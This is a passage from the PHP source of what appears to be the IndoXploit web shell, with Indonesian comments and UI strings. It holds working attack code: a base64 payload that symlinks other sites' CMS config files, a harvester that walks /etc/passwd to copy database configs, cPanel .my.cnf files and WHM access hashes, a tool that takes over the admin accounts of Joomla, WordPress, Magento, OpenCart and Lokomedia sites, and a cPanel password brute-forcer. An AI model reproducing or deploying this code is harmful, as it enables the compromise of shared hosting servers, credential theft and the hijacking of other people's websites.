sJHNpdGVzcy4nLXNtZjIudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2ZvcnVtL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bS50eHQnKTsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvZm9ydW1zL1NldHRpbmdzLnBocCcsJHNpdGVzcy4nLXNtZi1mb3J1bXMudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwbG9hZC9pbmNsdWRlcy9jb25maWcucGhwJywkc2l0ZXNzLictdXAudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYXJ0aWNsZS9jb25maWcucGhwJywkc2l0ZXNzLictTndhaHkudHh0Jyk7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3VwL2luY2x1ZGVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy11cDIudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZl9nbG9iYWwucGhwJywkc2l0ZXNzLictNi50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9pbmNsdWRlL2RiLnBocCcsJHNpdGVzcy4nLTcudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29ubmVjdC5waHAnLCRzaXRlc3MuJy1QSFAtRnVzaW9uLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL21rX2NvbmYucGhwJywkc2l0ZXNzLictOS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9jb25maWcucGhwJywkc2l0ZXNzLictNGltYWdlcy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zaXRlcy9kZWZhdWx0L3NldHRpbmdzLnBocCcsJHNpdGVzcy4nLURydXBhbC50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9tZW1iZXIvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy0xbWVtYmVyLnR4dCcpIDsgDQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvYmlsbGluZ3MvY29uZmlndXJhdGlvbi5waHAnLCRzaXRlc3MuJy1iaWxsaW5ncy50eHQnKSA7IA0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3dobS9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXdobS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9zdXBwb3J0cy9jb25maWd1cmF0aW9uLnBocCcsJHNpdGVzcy4nLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3JlcXVpcmVzL2NvbmZpZy5waHAnLCRzaXRlc3MuJy1BTTRTUy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3N1cHBvcnRzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLXN1cHBvcnRzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NsaWVudC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1jbGllbnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3Mvc3VwcG9ydC9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1zdXBwb3J0LnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2JpbGxpbmcvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtYmlsbGluZy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9iaWxsaW5ncy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1iaWxsaW5ncy50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9ob3N0L2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3QudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdHMvaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdHMudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvaG9zdGluZy9pbmNsdWRlcy9pc280MjE3LnBocCcsJHNpdGVzcy4nLWhvc3RiaWxscy1ob3N0aW5nLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RpbmdzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RpbmdzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2hvc3RiaWxsaW5jbHVkZXMvaXNvNDIxNy5waHAnLCRzaXRlc3MuJy1ob3N0YmlsbHMtaG9zdGJpbGxzLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2luY2x1ZGVzL2lzbzQyMTcucGhwJywkc2l0ZXNzLictaG9zdGJpbGxzLWhvc3RiaWxsLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcC9ldGMvbG9jYWwueG1sJywkc2l0ZXNzLictTWFnZW50by50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9hZG1pbi9jb25maWcucGhwJywkc2l0ZXNzLictT3BlbmNhcnQudHh0Jyk7DQpzeW1saW5rKCcvdmFyL3d3dy92aG9zdHMvJy4kc2l0ZXNzLicvaHR0cGRvY3MvY29uZmlnL3NldHRpbmdzLmluYy5waHAnLCRzaXRlc3MuJy1QcmVzdGFzaG9wLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2NvbmZpZy9rb25la3NpLnBocCcsJHNpdGVzcy4nLUxva29tZWRpYS50eHQnKTsNCnN5bWxpbmsoJy92YXIvd3d3L3Zob3N0cy8nLiRzaXRlc3MuJy9odHRwZG9jcy9sb2tvbWVkaWEvY29uZmlnL2tvbmVrc2kucGhwJywkc2l0ZXNzLictTG9rb21lZGlhLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL3NsY29uZmlnLnBocCcsJHNpdGVzcy4nLVNpdGVsb2NrLnR4dCcpOw0Kc3ltbGluaygnL3Zhci93d3cvdmhvc3RzLycuJHNpdGVzcy4nL2h0dHBkb2NzL2FwcGxpY2F0aW9uL2NvbmZpZy9kYXRhYmFzZS5waHAnLCRzaXRlc3MuJy1FbGxpc2xhYi50eHQnKTsNCn0NCnByaW50ICJMb2NhdGlvbjogLi9cblxuIjs=";
  761.         $file = "7yaX_config/vhost.cin";
  762.         $handle = fopen($file ,"w+");
  763.         fwrite($handle ,base64_decode($vhost));
  764.         fclose($handle);
  765.         chmod($file, 0755);
  766.         if(exe("cd 7yaX_config && ./vhost.cin")) {
  767.             echo "<center><a href='$link_config/7yaX_config'><font color=#4c83af>Done</font></a></center>";
  768.         } else {
  769.             echo "<center><a href='$link_config/7yaX_config/vhost.cin'><font color=#4c83af>Done</font></a></center>";
  770.         }
  771.  
  772.     } else {
  773.         $etc = fopen("/etc/passwd", "r") or die("<pre><font color=red>Can't read /etc/passwd</font></pre>");
  774.         while($passwd = fgets($etc)) {
  775.             if($passwd == "" || !$etc) {
  776.                 echo "<font color=red>Can't read /etc/passwd</font>";
  777.             } else {
  778.                 preg_match_all('/(.*?):x:/', $passwd, $user_config);
  779.                 foreach($user_config[1] as $user_idx) {
  780.                     $user_config_dir = "/home/$user_idx/public_html/";
  781.                     if(is_readable($user_config_dir)) {
  782.                         $grab_config = array(
  783.                             "/home/$user_idx/.my.cnf" => "cpanel",
  784.                             "/home/$user_idx/.accesshash" => "WHM-accesshash",
  785.                             "$user_config_dir/po-content/config.php" => "Popoji",
  786.                             "$user_config_dir/vdo_config.php" => "Voodoo",
  787.                             "$user_config_dir/bw-configs/config.ini" => "BosWeb",
  788.                             "$user_config_dir/config/koneksi.php" => "Lokomedia",
  789.                             "$user_config_dir/lokomedia/config/koneksi.php" => "Lokomedia",
  790.                             "$user_config_dir/clientarea/configuration.php" => "WHMCS",
  791.                             "$user_config_dir/whm/configuration.php" => "WHMCS",
  792.                             "$user_config_dir/whmcs/configuration.php" => "WHMCS",
  793.                             "$user_config_dir/forum/config.php" => "phpBB",
  794.                             "$user_config_dir/sites/default/settings.php" => "Drupal",
  795.                             "$user_config_dir/config/settings.inc.php" => "PrestaShop",
  796.                             "$user_config_dir/app/etc/local.xml" => "Magento",
  797.                             "$user_config_dir/joomla/configuration.php" => "Joomla",
  798.                             "$user_config_dir/configuration.php" => "Joomla",
  799.                             "$user_config_dir/wp/wp-config.php" => "WordPress",
  800.                             "$user_config_dir/wordpress/wp-config.php" => "WordPress",
  801.                             "$user_config_dir/wp-config.php" => "WordPress",
  802.                             "$user_config_dir/admin/config.php" => "OpenCart",
  803.                             "$user_config_dir/slconfig.php" => "Sitelok",
  804.                             "$user_config_dir/application/config/database.php" => "Ellislab");
  805.                         foreach($grab_config as $config => $nama_config) {
  806.                             $ambil_config = file_get_contents($config);
  807.                             if($ambil_config == '') {
  808.                             } else {
  809.                                 $file_config = fopen("7yaX_config/$user_idx-$nama_config.txt","w");
  810.                                 fputs($file_config,$ambil_config);
  811.                             }
  812.                         }
  813.                     }      
  814.                 }
  815.             }  
  816.         }
  817.     echo "<center><a href='?dir=$dir/7yaX_config'><font color=#4c83af>Done</font></a></center>";
  818.     }
  819. } elseif($_GET['do'] == 'jumping') {
  820.     $i = 0;
  821.     echo "<div class='margin: 5px auto;'>";
  822.     if(preg_match("/hsphere/", $dir)) {
  823.         $urls = explode("\r\n", $_POST['url']);
  824.         if(isset($_POST['jump'])) {
  825.             echo "<pre>";
  826.             foreach($urls as $url) {
  827.                 $url = str_replace(array("http://","www."), "", strtolower($url));
  828.                 $etc = "/etc/passwd";
  829.                 $f = fopen($etc,"r");
  830.                 while($gets = fgets($f)) {
  831.                     $pecah = explode(":", $gets);
  832.                     $user = $pecah[0];
  833.                     $dir_user = "/hsphere/local/home/$user";
  834.                     if(is_dir($dir_user) === true) {
  835.                         $url_user = $dir_user."/".$url;
  836.                         if(is_readable($url_user)) {
  837.                             $i++;
  838.                             $jrw = "[<font color=#4c83af>R</font>] <a href='?dir=$url_user'><font color=#4c83af>$url_user</font></a>";
  839.                             if(is_writable($url_user)) {
  840.                                 $jrw = "[<font color=#4c83af>RW</font>] <a href='?dir=$url_user'><font color=#4c83af>$url_user</font></a>";
  841.                             }
  842.                             echo $jrw."<br>";
  843.                         }
  844.                     }
  845.                 }
  846.             }
  847.         if($i == 0) {
  848.         } else {
  849.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  850.         }
  851.         echo "</pre>";
  852.         } else {
  853.             echo '<center>
  854.                   <form method="post">
  855.                   List Domains: <br>
  856.                   <textarea name="url" style="width: 500px; height: 250px;">';
  857.             $fp = fopen("/hsphere/local/config/httpd/sites/sites.txt","r");
  858.             while($getss = fgets($fp)) {
  859.                 echo $getss;
  860.             }
  861.             echo  '</textarea><br>
  862.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  863.                   </form></center>';
  864.         }
  865.     } elseif(preg_match("/vhosts|vhost/", $dir)) {
  866.         preg_match("/\/var\/www\/(.*?)\//", $dir, $vh);
  867.         $urls = explode("\r\n", $_POST['url']);
  868.         if(isset($_POST['jump'])) {
  869.             echo "<pre>";
  870.             foreach($urls as $url) {
  871.                 $url = str_replace("www.", "", $url);
  872.                 $web_vh = "/var/www/".$vh[1]."/$url/httpdocs";
  873.                 if(is_dir($web_vh) === true) {
  874.                     if(is_readable($web_vh)) {
  875.                         $i++;
  876.                         $jrw = "[<font color=#4c83af>R</font>] <a href='?dir=$web_vh'><font color=#4c83af>$web_vh</font></a>";
  877.                         if(is_writable($web_vh)) {
  878.                             $jrw = "[<font color=#4c83af>RW</font>] <a href='?dir=$web_vh'><font color=#4c83af>$web_vh</font></a>";
  879.                         }
  880.                         echo $jrw."<br>";
  881.                     }
  882.                 }
  883.             }
  884.         if($i == 0) {
  885.         } else {
  886.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  887.         }
  888.         echo "</pre>";
  889.         } else {
  890.             echo '<center>
  891.                   <form method="post">
  892.                   List Domains: <br>
  893.                   <textarea name="url" style="width: 500px; height: 250px;">';
  894.                   bing("ip:$ip");
  895.             echo  '</textarea><br>
  896.                   <input type="submit" value="Jumping" name="jump" style="width: 500px; height: 25px;">
  897.                   </form></center>';
  898.         }
  899.     } else {
  900.         echo "<pre>";
  901.         $etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
  902.         while($passwd = fgets($etc)) {
  903.             if($passwd == '' || !$etc) {
  904.                 echo "<font color=red>Can't read /etc/passwd</font>";
  905.             } else {
  906.                 preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
  907.                 foreach($user_jumping[1] as $user_idx_jump) {
  908.                     $user_jumping_dir = "/home/$user_idx_jump/public_html";
  909.                     if(is_readable($user_jumping_dir)) {
  910.                         $i++;
  911.                         $jrw = "[<font color=#4c83af>R</font>] <a href='?dir=$user_jumping_dir'><font color=#4c83af>$user_jumping_dir</font></a>";
  912.                         if(is_writable($user_jumping_dir)) {
  913.                             $jrw = "[<font color=#4c83af>RW</font>] <a href='?dir=$user_jumping_dir'><font color=#4c83af>$user_jumping_dir</font></a>";
  914.                         }
  915.                         echo $jrw;
  916.                         if(function_exists('posix_getpwuid')) {
  917.                             $domain_jump = file_get_contents("/etc/named.conf");   
  918.                             if($domain_jump == '') {
  919.                                 echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
  920.                             } else {
  921.                                 preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
  922.                                 foreach($domains_jump[1] as $dj) {
  923.                                     $user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  924.                                     $user_jumping_url = $user_jumping_url['name'];
  925.                                     if($user_jumping_url == $user_idx_jump) {
  926.                                         echo " => ( <u>$dj</u> )<br>";
  927.                                         break;
  928.                                     }
  929.                                 }
  930.                             }
  931.                         } else {
  932.                             echo "<br>";
  933.                         }
  934.                     }
  935.                 }
  936.             }
  937.         }
  938.         if($i == 0) {
  939.         } else {
  940.             echo "<br>Total ada ".$i." Kamar di ".$ip;
  941.         }
  942.         echo "</pre>";
  943.     }
  944.     echo "</div>";
  945. } elseif($_GET['do'] == 'auto_edit_user') {
  946.     if($_POST['hajar']) {
  947.         if(strlen($_POST['pass_baru']) < 6 OR strlen($_POST['user_baru']) < 6) {
  948.             echo "username atau password harus lebih dari 6 karakter";
  949.         } else {
  950.             $user_baru = $_POST['user_baru'];
  951.             $pass_baru = md5($_POST['pass_baru']);
  952.             $conf = $_POST['config_dir'];
  953.             $scan_conf = scandir($conf);
  954.             foreach($scan_conf as $file_conf) {
  955.                 if(!is_file("$conf/$file_conf")) continue;
  956.                 $config = file_get_contents("$conf/$file_conf");
  957.                 if(preg_match("/JConfig|joomla/",$config)) {
  958.                     $dbhost = ambilkata($config,"host = '","'");
  959.                     $dbuser = ambilkata($config,"user = '","'");
  960.                     $dbpass = ambilkata($config,"password = '","'");
  961.                     $dbname = ambilkata($config,"db = '","'");
  962.                     $dbprefix = ambilkata($config,"dbprefix = '","'");
  963.                     $prefix = $dbprefix."users";
  964.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  965.                     $db = mysql_select_db($dbname);
  966.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  967.                     $result = mysql_fetch_array($q);
  968.                     $id = $result['id'];
  969.                     $site = ambilkata($config,"sitename = '","'");
  970.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE id='$id'");
  971.                     echo "Config => ".$file_conf."<br>";
  972.                     echo "CMS => Joomla<br>";
  973.                     if($site == '') {
  974.                         echo "Sitename => <font color=red>error, gabisa ambil nama domain nya</font><br>";
  975.                     } else {
  976.                         echo "Sitename => $site<br>";
  977.                     }
  978.                     if(!$update OR !$conn OR !$db) {
  979.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  980.                     } else {
  981.                         echo "Status => <font color=#4c83af>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  982.                     }
  983.                     mysql_close($conn);
  984.                 } elseif(preg_match("/WordPress/",$config)) {
  985.                     $dbhost = ambilkata($config,"DB_HOST', '","'");
  986.                     $dbuser = ambilkata($config,"DB_USER', '","'");
  987.                     $dbpass = ambilkata($config,"DB_PASSWORD', '","'");
  988.                     $dbname = ambilkata($config,"DB_NAME', '","'");
  989.                     $dbprefix = ambilkata($config,"table_prefix  = '","'");
  990.                     $prefix = $dbprefix."users";
  991.                     $option = $dbprefix."options";
  992.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  993.                     $db = mysql_select_db($dbname);
  994.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
  995.                     $result = mysql_fetch_array($q);
  996.                     $id = $result[ID];
  997.                     $q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");
  998.                     $result2 = mysql_fetch_array($q2);
  999.                     $target = $result2[option_value];
  1000.                     if($target == '') {
  1001.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1002.                     } else {
  1003.                         $url_target = "Login => <a href='$target/wp-login.php' target='_blank'><u>$target/wp-login.php</u></a><br>";
  1004.                     }
  1005.                     $update = mysql_query("UPDATE $prefix SET user_login='$user_baru',user_pass='$pass_baru' WHERE id='$id'");
  1006.                     echo "Config => ".$file_conf."<br>";
  1007.                     echo "CMS => Wordpress<br>";
  1008.                     echo $url_target;
  1009.                     if(!$update OR !$conn OR !$db) {
  1010.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1011.                     } else {
  1012.                         echo "Status => <font color=#4c83af>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1013.                     }
  1014.                     mysql_close($conn);
  1015.                 } elseif(preg_match("/Magento|Mage_Core/",$config)) {
  1016.                     $dbhost = ambilkata($config,"<host><![CDATA[","]]></host>");
  1017.                     $dbuser = ambilkata($config,"<username><![CDATA[","]]></username>");
  1018.                     $dbpass = ambilkata($config,"<password><![CDATA[","]]></password>");
  1019.                     $dbname = ambilkata($config,"<dbname><![CDATA[","]]></dbname>");
  1020.                     $dbprefix = ambilkata($config,"<table_prefix><![CDATA[","]]></table_prefix>");
  1021.                     $prefix = $dbprefix."admin_user";
  1022.                     $option = $dbprefix."core_config_data";
  1023.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1024.                     $db = mysql_select_db($dbname);
  1025.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1026.                     $result = mysql_fetch_array($q);
  1027.                     $id = $result[user_id];
  1028.                     $q2 = mysql_query("SELECT * FROM $option WHERE path='web/secure/base_url'");
  1029.                     $result2 = mysql_fetch_array($q2);
  1030.                     $target = $result2[value];
  1031.                     if($target == '') {
  1032.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1033.                     } else {
  1034.                         $url_target = "Login => <a href='$target/admin/' target='_blank'><u>$target/admin/</u></a><br>";
  1035.                     }
  1036.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1037.                     echo "Config => ".$file_conf."<br>";
  1038.                     echo "CMS => Magento<br>";
  1039.                     echo $url_target;
  1040.                     if(!$update OR !$conn OR !$db) {
  1041.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1042.                     } else {
  1043.                         echo "Status => <font color=#4c83af>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1044.                     }
  1045.                     mysql_close($conn);
  1046.                 } elseif(preg_match("/HTTP_SERVER|HTTP_CATALOG|DIR_CONFIG|DIR_SYSTEM/",$config)) {
  1047.                     $dbhost = ambilkata($config,"'DB_HOSTNAME', '","'");
  1048.                     $dbuser = ambilkata($config,"'DB_USERNAME', '","'");
  1049.                     $dbpass = ambilkata($config,"'DB_PASSWORD', '","'");
  1050.                     $dbname = ambilkata($config,"'DB_DATABASE', '","'");
  1051.                     $dbprefix = ambilkata($config,"'DB_PREFIX', '","'");
  1052.                     $prefix = $dbprefix."user";
  1053.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1054.                     $db = mysql_select_db($dbname);
  1055.                     $q = mysql_query("SELECT * FROM $prefix ORDER BY user_id ASC");
  1056.                     $result = mysql_fetch_array($q);
  1057.                     $id = $result[user_id];
  1058.                     $target = ambilkata($config,"HTTP_SERVER', '","'");
  1059.                     if($target == '') {
  1060.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1061.                     } else {
  1062.                         $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a><br>";
  1063.                     }
  1064.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE user_id='$id'");
  1065.                     echo "Config => ".$file_conf."<br>";
  1066.                     echo "CMS => OpenCart<br>";
  1067.                     echo $url_target;
  1068.                     if(!$update OR !$conn OR !$db) {
  1069.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1070.                     } else {
  1071.                         echo "Status => <font color=#4c83af>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1072.                     }
  1073.                     mysql_close($conn);
  1074.                 } elseif(preg_match("/panggil fungsi validasi xss dan injection/",$config)) {
  1075.                     $dbhost = ambilkata($config,'server = "','"');
  1076.                     $dbuser = ambilkata($config,'username = "','"');
  1077.                     $dbpass = ambilkata($config,'password = "','"');
  1078.                     $dbname = ambilkata($config,'database = "','"');
  1079.                     $prefix = "users";
  1080.                     $option = "identitas";
  1081.                     $conn = mysql_connect($dbhost,$dbuser,$dbpass);
  1082.                     $db = mysql_select_db($dbname);
  1083.                     $q = mysql_query("SELECT * FROM $option ORDER BY id_identitas ASC");
  1084.                     $result = mysql_fetch_array($q);
  1085.                     $target = $result[alamat_website];
  1086.                     if($target == '') {
  1087.                         $target2 = $result[url];
  1088.                         $url_target = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1089.                         if($target2 == '') {
  1090.                             $url_target2 = "Login => <font color=red>error, gabisa ambil nama domain nyaa</font><br>";
  1091.                         } else {
  1092.                             $cek_login3 = file_get_contents("$target2/adminweb/");
  1093.                             $cek_login4 = file_get_contents("$target2/lokomedia/adminweb/");
  1094.                             if(preg_match("/CMS Lokomedia|Administrator/", $cek_login3)) {
  1095.                                 $url_target2 = "Login => <a href='$target2/adminweb' target='_blank'><u>$target2/adminweb</u></a><br>";
  1096.                             } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login4)) {
  1097.                                 $url_target2 = "Login => <a href='$target2/lokomedia/adminweb' target='_blank'><u>$target2/lokomedia/adminweb</u></a><br>";
  1098.                             } else {
  1099.                                 $url_target2 = "Login => <a href='$target2' target='_blank'><u>$target2</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1100.                             }
  1101.                         }
  1102.                     } else {
  1103.                         $cek_login = file_get_contents("$target/adminweb/");
  1104.                         $cek_login2 = file_get_contents("$target/lokomedia/adminweb/");
  1105.                         if(preg_match("/CMS Lokomedia|Administrator/", $cek_login)) {
  1106.                             $url_target = "Login => <a href='$target/adminweb' target='_blank'><u>$target/adminweb</u></a><br>";
  1107.                         } elseif(preg_match("/CMS Lokomedia|Lokomedia/", $cek_login2)) {
  1108.                             $url_target = "Login => <a href='$target/lokomedia/adminweb' target='_blank'><u>$target/lokomedia/adminweb</u></a><br>";
  1109.                         } else {
  1110.                             $url_target = "Login => <a href='$target' target='_blank'><u>$target</u></a> [ <font color=red>gatau admin login nya dimana :p</font> ]<br>";
  1111.                         }
  1112.                     }
  1113.                     $update = mysql_query("UPDATE $prefix SET username='$user_baru',password='$pass_baru' WHERE level='admin'");
  1114.                     echo "Config => ".$file_conf."<br>";
  1115.                     echo "CMS => Lokomedia<br>";
  1116.                     if(preg_match('/error, gabisa ambil nama domain nya/', $url_target)) {
  1117.                         echo $url_target2;
  1118.                     } else {
  1119.                         echo $url_target;
  1120.                     }
  1121.                     if(!$update OR !$conn OR !$db) {
  1122.                         echo "Status => <font color=red>".mysql_error()."</font><br><br>";
  1123.                     } else {
  1124.                         echo "Status => <font color=#4c83af>sukses edit user, silakan login dengan user & pass yang baru.</font><br><br>";
  1125.                     }
  1126.                     mysql_close($conn);
  1127.                 }
  1128.             }
  1129.         }
  1130.     } else {
  1131.         echo "<center>
  1132.         <h1>Auto Edit User Config</h1>
  1133.         <form method='post'>
  1134.         DIR Config: <br>
  1135.         <input type='text' size='50' name='config_dir' value='$dir'><br><br>
  1136.         Set User & Pass: <br>
  1137.         <input type='text' name='user_baru' value='indoxploit' placeholder='user_baru'><br>
  1138.         <input type='text' name='pass_baru' value='indoxploit' placeholder='pass_baru'><br>
  1139.         <input type='submit' name='hajar' value='Hajar!' style='width: 215px;'>
  1140.         </form>
  1141.         <span>NB: Tools ini work jika dijalankan di dalam folder <u>config</u> ( ex: /home/user/public_html/nama_folder_config )</span><br>
  1142.         ";
  1143.     }
  1144. } elseif($_GET['do'] == 'cpanel') {
  1145.     if($_POST['crack']) {
  1146.         $usercp = explode("\r\n", $_POST['user_cp']);
  1147.         $passcp = explode("\r\n", $_POST['pass_cp']);
  1148.         $i = 0;
  1149.         foreach($usercp as $ucp) {
  1150.             foreach($passcp as $pcp) {
  1151.                 if(@mysql_connect('localhost', $ucp, $pcp)) {
  1152.                     if($_SESSION[$ucp] && $_SESSION[$pcp]) {
  1153.                     } else {
  1154.                         $_SESSION[$ucp] = "1";
  1155.                         $_SESSION[$pcp] = "1";
  1156.                         if($ucp == '' || $pcp == '') {
  1157.                            
  1158.                         } else {
  1159.                             $i++;
  1160.                             if(function_exists('posix_getpwuid')) {
  1161.                                 $domain_cp = file_get_contents("/etc/named.conf"); 
  1162.                                 if($domain_cp == '') {
  1163.                                     $dom =  "<font color=red>gabisa ambil nama domain nya</font>";
  1164.                                 } else {
  1165.                                     preg_match_all("#/var/named/(.*?).db#", $domain_cp, $domains_cp);
  1166.                                     foreach($domains_cp[1] as $dj) {
  1167.                                         $user_cp_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
  1168.                                         $user_cp_url = $user_cp_url['name'];
  1169.                                         if($user_cp_url == $ucp) {
  1170.                                             $dom = "<a href='http://$dj/' target='_blank'><font color=#4c83af>$dj</font></a>";
  1171.                                             break;
  1172.                                         }
  1173.                                     }
  1174.                                 }
  1175.                             } else {
  1176.                                 $dom = "<font color=red>function is Disable by system</font>";
  1177.                             }
  1178.                             echo "username (<font color=#4c83af>$ucp</font>) password (<font color=#4c83af>$pcp</font>) domain ($dom)<br>";
  1179.                         }
  1180.                     }
  1181.                 }
  1182.             }
  1183.         }
  1184.         if($i == 0) {
  1185.         } else {
  1186.             echo "<br>sukses nyolong ".$i." Cpanel by <font color=#4c83af>IndoXploit.</font>";
  1187.         }
  1188.     } else {
  1189.         echo "<center>
  1190.         <form method='post'>
  1191.         USER: <br>
  1192.         <textarea style='width: 450px; height: 150px;' name='user_cp'>";
  1193.         $_usercp = fopen("/etc/passwd","r");
  1194.         while($getu = fgets($_usercp)) {
  1195.             if($getu == '' || !$_usercp) {
  1196.                 echo "<font color=red>Can't read /etc/passwd</font>";
  1197.             } else {
